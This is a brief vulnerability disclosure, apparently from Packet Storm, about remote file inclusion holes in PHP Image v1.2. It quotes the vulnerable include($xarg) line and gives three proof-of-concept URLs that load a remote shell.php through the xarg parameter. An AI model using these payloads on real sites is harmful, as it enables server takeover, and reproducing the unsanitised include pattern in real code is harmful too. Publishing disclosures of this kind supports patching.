PHP Image version 1.2 suffers from multiple remote file inclusion vulnerabilities.
70b29344502c6f0f36c5ad1a28a6eed796609ef441f7327be4b743467b20e0b1PHP Image v1.2 Multiple Remote File Inclusion
Download: http://www.phpimage.co.uk/phpimage_v_1_2.zip
Bug found by Civi
Vuln code in xarg_corner.php, xarg_corner_bottom.php, xarg_corner_top.php:
<td style="background-image: url(images/cor_top_fill.jpg);"><?php include($xarg); ?></td>
POC:
http://site/xarg_corner.php?xarg=http://shell.php?
http://site/xarg_corner_bottom.php?xarg=http://shell.php ?
http://site/xarg_corner_top.php?xarg=http://shell.php?
[Original Post: forum.darkc0de.com]
Tnx to: d3hydr8, str0ke
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed